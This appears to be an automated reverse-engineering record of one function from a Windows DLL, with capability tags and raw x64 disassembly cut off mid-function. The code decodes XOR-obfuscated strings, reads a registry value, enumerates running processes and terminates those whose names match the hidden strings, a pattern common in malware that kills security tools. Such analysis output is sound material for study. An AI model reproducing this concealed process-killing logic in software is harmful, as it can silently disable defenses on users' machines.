Function at 0x18001b810
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x708]
sub rsp, 0x7c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
xor r13d, r13d
mov dword [rbp + 0x710], r13d
mov qword [rbp + 0x720], r13
movups xmm0, xmmword [str.gZPCOXH_k_S6_]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x18014dc50]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [str.0_H]
movsd qword [rbp + 0x68], xmm0
movzx eax, word [0x18014dc68]
mov word [rbp + 0x70], ax
mov r8d, r13d
lea ebx, [r13 + 4]
lea edi, [rbx + 0x1b]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x18001b9c1
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
movd xmm6, ebx
movdqa xmm7, xmmword [0x1801517b0]
movd xmm8, edi
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001b8d2
cmp r8d, 0x15
jge 0x18001ba04
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x18001b9d0
lea rax, [rbp + 0x720]
mov qword [rsp + 0x20], rax
mov r14d, 1
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18001ba43
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x18001e515
mov eax, 0x22
mov word [rbp + 0x460], ax
mov dword [rbp + 0x718], 0x206
movups xmm0, xmmword [str.gASVUB_]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x18014dca8]
mov ecx, 0x53
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x35
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
xor word [rsp + 0x6c], 0x3a
xor word [rsp + 0x6e], 0x3b
xor ax, 0x3c
mov word [rsp + 0x70], ax
lea rax, [rbp + 0x718]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x462]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x720]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x720]
test eax, eax
jne 0x18001ba38
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], r13
lea rax, [rbp + 0x460]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], r13w
jne 0x18001bb14
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x78]
call fcn.180006720
nop
mov r8, r14
lea rdx, [0x180113d44]
lea rcx, [rbp + 0x78]
call fcn.180007ed0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r15d, 8
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x18001bbb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bbab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e77d
call fcn.1800afc8c
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], 7
mov word [rbp + 0x78], r13w
movsd xmm10, qword [0x1801516d8]
jmp 0x18001bbd7
mov edi, 0x1f
movups xmm9, xmmword [0x18014dcd8]
movups xmmword [rsp + 0x60], xmm9
pextrw eax, xmm9, 7
test ax, ax
je 0x18001bd34
cmp r12d, 2
jl 0x18001bcec
movdqa xmm4, xmmword [0x180151970]
movd xmm6, ebx
movd xmm5, edi
movdqa xmm8, xmmword [0x180151880]
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x60], xmm3
movdqa xmm2, xmmword [0x1801517a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x68]
xorps xmm3, xmm0
movq qword [rsp + 0x68], xmm3
jmp 0x18001bd34
lea r9, [rsp + 0x60]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x18001bd00
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001bd50
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006720
nop
cmp qword [rbp - 0x50], 0
je 0x18001c03a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8d8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001be04
mov r8, rsi
lea rdx, [0x18014c8d4]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e783
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8c8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001bff7
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001be70
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006720
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001bec3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001bed1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001bef6
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001beff
add rax, 2
sub rcx, 1
jne 0x18001bee3
cmp r9, r10
jae 0x18001bf07
mov ebx, esi
jmp 0x18001bf0d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001bf0d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001bf4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bf48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e789
call fcn.1800afc8c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001bf9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bf99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e78f
call fcn.1800afc8c
test ebx, ebx
je 0x18001bfbc
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001be50
jmp 0x18001bff7
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001bfed
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001c03a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c034
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e795
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001c07a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c075
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e81f
call fcn.1800afc8c
movups xmm0, xmmword [str.GASVU]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x18014dc20]
mov dword [rsp + 0x70], eax
cmp word [0x18014dc22], 0
je 0x18001c0da
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x35
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
xor word [rsp + 0x6c], 0x3a
xor word [rsp + 0x6e], 0x3b
xor word [rsp + 0x70], 0x3c
xor word [rsp + 0x72], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001c0f1
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.180006720
nop
cmp qword [rbp - 0x50], 0
je 0x18001c3da
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8d8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001c1a5
mov r8, rsi
lea rdx, [0x18014c8d4]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e79b
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8c8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001c397
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001c210
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006720
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001c263
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001c271
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001c296
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001c29f
add rax, 2
sub rcx, 1
jne 0x18001c283
cmp r9, r10
jae 0x18001c2a7
mov ebx, esi
jmp 0x18001c2ad
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001c2ad
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001c2ed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c2e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7a1
call fcn.1800afc8c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001c33e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7a7
call fcn.1800afc8c
test ebx, ebx
je 0x18001c35c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001c1f0
jmp 0x18001c397
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001c38d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001c3da
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c3d4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7ad
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001c41a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c415
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e81f
call fcn.1800afc8c
movups xmm0, xmmword [str.GASVUJ_IJT_Zn_:D]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x18014dc80]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x18014dc90]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001c56f
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001c480
cmp r8d, 0x11
jge 0x18001c5b4
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001c580
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001c5d0
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.180006720
nop
cmp qword [rbp - 0x50], 0
je 0x18001c8ba
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8d8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001c683
mov r8, rsi
lea rdx, [0x18014c8d4]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e7b3
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rsi
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8c8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001c877
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001c6f0
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006720
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001c743
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001c751
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001c776
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001c77f
add rax, 2
sub rcx, 1
jne 0x18001c763
cmp r9, r10
jae 0x18001c787
mov ebx, esi
jmp 0x18001c78d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001c78d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001c7cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c7c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7b9
call fcn.1800afc8c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001c81e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7bf
call fcn.1800afc8c
test ebx, ebx
je 0x18001c83c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001c6d0
jmp 0x18001c877
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001c86d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001c8ba
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c8b4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e7c5
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001c8fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c8f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e81f
call fcn.1800afc8c
movups xmm0, xmmword [0x18014dce8]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x18014dcf8]
movups xmmword [rbp + 0x58], xmm1
mov eax, dword [0x18014dd08]
mov dword [rbp + 0x68], eax
movzx eax, word [0x18014dd0c]
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001ca5f
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp + 0x48]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001c970
cmp r8d, 0x13
jge 0x18001caa4
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
